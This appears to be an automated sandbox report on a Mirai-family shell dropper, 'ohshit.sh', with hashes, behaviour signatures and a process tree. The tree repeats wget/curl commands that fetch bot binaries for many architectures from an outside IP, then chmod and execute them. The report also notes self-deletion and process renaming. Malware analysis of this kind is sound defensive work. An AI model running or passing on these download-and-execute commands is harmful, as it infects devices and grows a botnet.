Analysis
-
max time kernel
149s -
max time network
143s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240418-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
30/12/2024, 13:38
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
ohshit.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
85e5354484584cd6a1c6a47638c538d2
-
SHA1
80a984a63b9004ad93c88ee0cf6165cdb48e3df2
-
SHA256
54eefa9690f54a99a4b985d2a827e7978bfcf8651b4900bb15b2ac863bdce221
-
SHA512
5a0f7b3c2739efefdb80c3c6b460fab2a1d29416052334baa1b5ed0effd886ed02c834a85a5747f9ce1ca60066a3816f9df2f5787e653301e2a65b993e0c47cd
Malware Config
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 868 chmod 891 chmod 847 chmod 768 chmod 795 chmod 807 chmod 835 chmod 856 chmod 862 chmod 880 chmod 741 chmod 885 chmod 841 chmod 874 chmod 732 chmod -
Deletes itself 1 IoCs
pid Process 742 KBD -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/KBD 733 KBD /tmp/KBD 742 KBD /tmp/KBD 770 KBD /tmp/KBD 796 KBD /tmp/KBD 809 KBD /tmp/KBD 836 KBD /tmp/KBD 842 KBD /tmp/KBD 848 KBD /tmp/KBD 857 KBD /tmp/KBD 863 KBD /tmp/KBD 869 KBD /tmp/KBD 875 KBD /tmp/KBD 881 KBD /tmp/KBD 886 KBD /tmp/KBD 892 KBD -
Traces itself 2 IoCs
Traces itself to prevent debugging attempts
pid Process 742 KBD 743 KBD -
Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself httpd 742 KBD -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 735 wget 736 curl 739 cat -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/main_sh4 curl File opened for modification /tmp/main_x86 curl File opened for modification /tmp/main_arm5 curl File opened for modification /tmp/main_ppc wget File opened for modification /tmp/main_x86_64 curl File opened for modification /tmp/main_mips wget File opened for modification /tmp/main_m68k curl File opened for modification /tmp/main_sh4 wget File opened for modification /tmp/KBD ohshit.sh File opened for modification /tmp/main_arc curl File opened for modification /tmp/main_i468 curl File opened for modification /tmp/main_x86_64 wget File opened for modification /tmp/main_arm6 curl File opened for modification /tmp/main_x86 wget File opened for modification /tmp/main_arm6 wget File opened for modification /tmp/main_arm7 wget File opened for modification /tmp/main_arm wget File opened for modification /tmp/KBD KBD File opened for modification /tmp/main_spc curl File opened for modification /tmp/main_m68k wget File opened for modification /tmp/main_mips curl File opened for modification /tmp/main_arm5 wget File opened for modification /tmp/main_ppc curl File opened for modification /tmp/main_mpsl wget File opened for modification /tmp/main_mpsl curl File opened for modification /tmp/main_arm curl File opened for modification /tmp/main_arm7 curl File opened for modification /tmp/main_i686 curl
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:701 -
/usr/bin/wgetwget http://205.185.113.47/bins/main_x862⤵
- Writes file to tmp directory
PID:704
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:730
-
-
/bin/catcat main_x862⤵PID:731
-
-
/bin/chmodchmod +x KBD main_x86 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:732
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:733
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:735
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:736
-
-
/bin/catcat main_mips2⤵
- System Network Configuration Discovery
PID:739
-
-
/bin/chmodchmod +x KBD main_mips main_x86 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/KBD./KBD2⤵
- Deletes itself
- Executes dropped EXE
- Traces itself
- Changes its process name
- Writes file to tmp directory
PID:742
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_arc2⤵PID:744
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:756
-
-
/bin/catcat main_arc2⤵PID:766
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_mips main_x86 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:768
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:770
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_i4682⤵PID:772
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:793
-
-
/bin/catcat main_i4682⤵PID:794
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_i468 main_mips main_x86 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:795
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:796
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_i6862⤵PID:797
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:798
-
-
/bin/catcat main_i6862⤵PID:805
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_i468 main_i686 main_mips main_x86 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:807
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:809
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_x86_642⤵
- Writes file to tmp directory
PID:810
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:827
-
-
/bin/catcat main_x86_642⤵PID:834
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_i468 main_i686 main_mips main_x86 main_x86_64 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:835
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:836
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_mpsl2⤵
- Writes file to tmp directory
PID:838
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:839
-
-
/bin/catcat main_mpsl2⤵PID:840
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:841
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:842
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_arm2⤵
- Writes file to tmp directory
PID:844
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:845
-
-
/bin/catcat main_arm2⤵PID:846
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 ohshit.sh systemd-private-00c5ead212c44c8388cc35d96eddb655-systemd-timedated.service-QYqB4s2⤵
- File and Directory Permissions Modification
PID:847
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:848
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_arm52⤵
- Writes file to tmp directory
PID:850
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:851
-
-
/bin/catcat main_arm52⤵PID:855
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_arm5 main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
PID:856
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:857
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_arm62⤵
- Writes file to tmp directory
PID:859
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:860
-
-
/bin/catcat main_arm62⤵PID:861
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
PID:862
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:863
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_arm72⤵
- Writes file to tmp directory
PID:865
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:866
-
-
/bin/catcat main_arm72⤵PID:867
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_mips main_mpsl main_x86 main_x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
PID:868
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:869
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_ppc2⤵
- Writes file to tmp directory
PID:871
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:872
-
-
/bin/catcat main_ppc2⤵PID:873
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_mips main_mpsl main_ppc main_x86 main_x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
PID:874
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:875
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_spc2⤵PID:877
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:878
-
-
/bin/catcat main_spc2⤵PID:879
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_mips main_mpsl main_ppc main_spc main_x86 main_x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
PID:880
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:881
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_m68k2⤵
- Writes file to tmp directory
PID:882
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:883
-
-
/bin/catcat main_m68k2⤵PID:884
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_m68k main_mips main_mpsl main_ppc main_spc main_x86 main_x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
PID:885
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:886
-
-
/usr/bin/wgetwget http://205.185.113.47/bins/main_sh42⤵
- Writes file to tmp directory
PID:888
-
-
/usr/bin/curlcurl -O http://205.185.113.47/bins/main_sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:889
-
-
/bin/catcat main_sh42⤵PID:890
-
-
/bin/chmodchmod +x KBD "KBD (deleted)" main_arc main_arm main_arm5 main_arm6 main_arm7 main_i468 main_i686 main_m68k main_mips main_mpsl main_ppc main_sh4 main_spc main_x86 main_x86_64 ohshit.sh2⤵
- File and Directory Permissions Modification
PID:891
-
-
/tmp/KBD./KBD2⤵
- Executes dropped EXE
PID:892
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
177KB
MD5a2e40dd35e33d8e0d6f7b164531fd639
SHA16635fc5ad8eb52e1dee84969c0be8ad92c3adcbd
SHA2561615b49a58974ac538096385368d03709f6d30292f5b92504614eea76849d5e8
SHA5120b39d1cabb90ca932834d8c3cde0d5c2888e3f58dc7f061a64c149b0398b7ee62c90fab04fe7dd22fa14850e575bccca6bb787bff9f834aba8722556c3e496a4
-
Filesize
211B
MD59af70cf20da4300c436d56786a7995ff
SHA1bd930110a9232ed646c694a582cf00ff6513e206
SHA256fcb58495ba0bb4437618380329daca1be4103c6584ec79608dc7f5aa005f8b25
SHA5120b723ccaf0454902b8e711edce8e40dc954dd0b47cac1362bd27a3f102afd2f1a76c2b5274093d6296c667020a2c3c66923d4cc27f36691384c60cc71b4ca582
-
Filesize
130KB
MD5994af88b29ff2e3d59e6f45a01cd710b
SHA1df09ce5c42e85924a9d34ea33f865100dad0b813
SHA2560b423d1b9e7a9e6719bf77dfa5363998d04f9edad2ee8e2de911c7ae995a391a
SHA512f1313f8a232711d7bf032577b3c2aea04d42ed0e28d043cf9c2df529c4846bdd6ec9b65191aa226e5e72ee4739cc14bbe101b58e1be910195b062cf98f9b04ad
-
Filesize
126KB
MD581d95c5d74b917a25cadbf766c7b7a05
SHA142b7873cc1c11ab869e29b8380c189eae6c0890d
SHA2565d94992dac0b6d592f86b0d59af84c52168f05d7aa1713a0c4fd62820be71630
SHA5125fd54421e266ec3deb962214346cb1103ca39fd986149cd38c6732c4851c966fecce1005eb55d34a1b5e068709408a7671b798c26d0ba5ebb6e2ce181073f38f
-
Filesize
140KB
MD509dbc2b87c4e535fe259b85e59089c44
SHA1e08cbdb5b00a03312001edfd71c10aad7b95da84
SHA2565b1cf87888710837c0007fd20877644abec191d7fed82763a15b959d591444d4
SHA5123692aa82019696fb14b5337bef3210061fd12e6ec77d23ba81610e1ee3e70c84331a9d7d230f3ccdaae861d19537df0670124ad3c54a9a47362543ad5d15d2b2
-
Filesize
177KB
MD5e214c228b72129d4ef294b6fad3f9de1
SHA12bc198315923a8683b89ef876c30b3325f03f6aa
SHA256cf40305398ee234528ebd18bb54b13e1bb94f90a501636857e25ba114bb1c9c6
SHA51298cf5fa86b5e929d58e446ae3156a945929c3de11f2d28d1646317a6e98117d6254a906a79864b2a01cd6ae3e469307ec2edf4c9c7b2da521ea88f222575701b
-
Filesize
212B
MD5160f50649f404902d54509bcb794e49b
SHA17e6ea89a27e70ff875b0ab4ab9da70b40aeaaa19
SHA256acf3c44cd441bb8c441fa842a2fe36789dd9ff6c390842a33a7160548433f7b4
SHA51260ae1a3ba9df8025b90b43d6b94bb40ec3e447a762ef686f78bbd2d702f95c9d2b678e2f3998efef5c46afdaa9f318a1147b3019ec9469917eac72492fca3dc8
-
Filesize
212B
MD58e19ed8538720beda5bffe3a9532dbb6
SHA1649ef9150904a8c55c7596976ec8b0482906c200
SHA256baf212782339d4dec613973e4ca897d525d35f2be366c72ce945e067d11925d7
SHA51234b36f19b29dea11072ccfdc67bf93dde9c75c0c736f154f7cc074e3209cbe4fa2a1ab7ee553ecd247cb08713f13f877ab1bf5e65e7ab924954278911ea318c9
-
Filesize
146KB
MD513e93970848ac2b26e8e545bf3c07273
SHA17c6c82a1cd7266ebfc18641c8af3cbcd8f6d2b26
SHA2567cca33815eaccd864db722658cce4a234c32280e2ee7266c9fecd8601652c95f
SHA5120327bbfd865710fe440ab9bfa754dec42ad623705970585819ad2177288c9504965397cec680ae831775613c3081488ddcdddebf5e60e4a0ce3ce6a796c6190c
-
Filesize
169KB
MD51d7394c2ea5a7ab2c932281be7c11bdd
SHA12a9c9f9270872a0d0f6cf46ef5e75a7a7473ba79
SHA256261cbea15e9c316a7a13d6ee7c496feb4364d264355821dc03664c17f398bcd1
SHA51209cb1d3454cbdf14396d861a9b6534925fd9a3b8aa91a322a0b964e486d83d002422330a06486d58b2ec237509e0a3d6751d242b7386c32af3cb308787968d49
-
Filesize
173KB
MD5b631ac20f28c030b5ffac9c4daeee7f4
SHA132210471f8e75d4abf632028e9c69c8c8bba96f6
SHA2562322a5098627d113e939e6ac7ddb5c80ed5e253a650c6b6e1737baa4617db415
SHA512e5329039925e869ecbf11e2f48be3cfcad1a9d3b7c9432523d9f442816f35727bc25669204cb82acd99e3a84acae08a22c65fd42d63c19aa2eac696f48e82d1b
-
Filesize
130KB
MD50fc176b456f9fe69ddfe3788346ed186
SHA1fecb8f0de557540627f5203e60260db2fa916000
SHA256b1d611c59c43c5f2ae26da403ac6f4c59f721d91716cd5c07e3293351db8124c
SHA512c5ecdb38fa97835554f365030e08c56a6973db3c7f3395469eeb4d5ae0bdd2c29d5fb8d4d149d4db4b27bf443bd60527a02a26939cf5dc27bc0a1da4e8ee8927
-
Filesize
114KB
MD500ec62e2f824a2a4820f9206eeb67767
SHA10e92c9cf78e91cefa2019358cede3cf67cab91cd
SHA256fd893a3ee002cd623137b4f65fda5624232eb22e53f5fec40601bc26e7eed29a
SHA512d5350fe7e7be290d50a672e085b1be7bccb975fb1f70bfd70892cf714e407ce779cbf8f6d19219f9eabe817b19cb1d11ca81c93596efd9a91b4ac8bf81339caf
-
Filesize
211B
MD5b22666fac7bdf03f49bc4062ef5bca0d
SHA1de969947b70f89bb7bc18c96a1533a098a0c8954
SHA256091163b1069eb020e610aee4769494088e0249d2ca1fb4597f7c7ef4511524fb
SHA512ec631d0ff77771a2786229056e8ecf6fd6e6bd78f01c76f575e2f88e1f55bb464b946c272dd40ccbd6cfaa2c3253e504e8f12681679a2b043b787e17506b1aba
-
Filesize
87KB
MD54f7c51c3fbe937bb9659cb47a53b3f64
SHA13721f1c64a1468aaee6343182e7e4f93fa9e8540
SHA25605466e5727f528209cff95c2e7e2b197aa0fe4e312fd3709c13a1605c8cc2555
SHA51231c1315ebd0d994ad9894bceabd5837dd63e9ecce311f7c65fda13d851face4fdbcbf49f154076d7d367c5d54233b5466e268e9ddad4e3308ecb55ce1b71ddd5
-
Filesize
136KB
MD5a9c977c67dad621cd0af6cd91c835bca
SHA155a93e2f75770c85b4a62af6f85605c8e125fb5b
SHA2566c22bec08f6ce62b43664b22028e033d496990b06a053c4aee5168b3af787c55
SHA512d411088bd14a89381f9830427bfc452c255f07ff5e645b5944375b60ba0006586bda20adee7cde1606b240b97d7a616a730b4e20351014bfceee304f008111d2